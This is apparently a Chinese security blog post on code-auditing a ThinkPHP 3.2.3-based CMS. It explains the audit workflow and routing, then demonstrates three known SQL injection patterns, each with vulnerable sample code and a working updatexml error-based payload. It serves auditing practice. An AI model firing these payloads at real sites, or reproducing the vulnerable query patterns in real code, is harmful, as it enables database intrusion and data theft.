主页 > 网络知识 > 基于ThinkPHP的CMS审计思路

基于ThinkPHP的CMS审计思路

yxtcmf6.1是一个基于thinkphp3.2.3的cms,19年3月份发布,用来练习代码审计是个不错的选择。

审计思路

由于这个cms采用MVC架构并且是基于thinkphp3.2.3的,所以先了解文件结构,知道不同的页面对应的文件位置在哪。然后搭建一个tp3.2.3了解一下这个框架,百度找找这个框架的漏洞,再通过Seay全局搜索可能因为这个框架存在漏洞的关键词。接下来上自动审计(自动审计的规则并不是很完全,所以可以通过自己审计的经验添加规则或者上百度找一些规则),对自动审计的结果进行验证,结果可能会有几百上千条,虽然不用每一条都去看,但是也是比较需要耐心的。最后可以拿AWVS之类的扫描器扫一扫,看看能不能扫出惊喜。

准备工具

phpstorm,Seay源码审计系统,phpstudy,AWVS

0x00 了解文件结构和路由方式

 

1589094967_5eb7aa37efdff.png!small

 

路由方式

 

1589094465_5eb7a84163d32.png!small

 

例如前台登录界面的url为:8014/index.php/User/Login/index

 

1589094623_5eb7a8df3e000.png!small

 

则对应的文件目录为/application/User/LoginController.class.php,函数为index()

 

1589094654_5eb7a8feedaed.png!small

 

0x01 了解thinkphp3.2.3的漏洞

自己先搭建一个tp3.2.3,通过百度找到了一些thinkphp3.2.3存在的sql注入,然后记录下来简单说明一下

 

1589092464_5eb7a070f1959.png!small

 

tp3.2.3构造sql语句的函数如上,如果$option的值是可以任意传入的,那么就有可能达到sql注入的目的

1.->where("可控参数")->find()

$username = $_GET['username'];$data= M('users')->where(array("username"=>$username))->find();

测试代码如上,传入参数username[0]=exp&username[1]=='admin' and updatexml(1,concat(0x3a,(user())),1)%23,然后调试跟进,主要代码段如下,$whereStr为构造sql语句的一部分

 

1589088511_5eb790ff62a7c.png!small

 

 

1589088602_5eb7915a97fee.png!small

 

结果构成如下sql语句

 

1589088639_5eb7917f39e2a.png!small

 

这里接收传参的方法必须不为I($_GET['username']),否则会检测值内是否含有'exp',如果有,就会加上空格变为'exp '

2.->find/select/delete("可控参数")

$id=I("id");$data=M("users")->find($id);

测试代码如上,传入id[where]=1 and updatexml(1,concat(0x7e,user(),0x7e),1) %23 ,然后调试跟踪

 

1589089487_5eb794cf1586c.png!small

 

最后得到sql语句如下,不需要单引号闭合也可完成注入

 

1589089528_5eb794f85c6e6.png!small

 

find()换成select()或者delete()也是一样的效果

3.->where("可控参数")->save("可控参数")

$condition["username"]=I("username");$data["password"]=I("password");$res=M("users")->where($condition)->save($data);

测试代码如上,传入username[0]=bind&username[1]=0 and (updatexml(1,concat(0x3a,(user())),1))%23&password=123456,调试跟踪

说点什么吧
  • 全部评论(0
    还没有评论,快来抢沙发吧!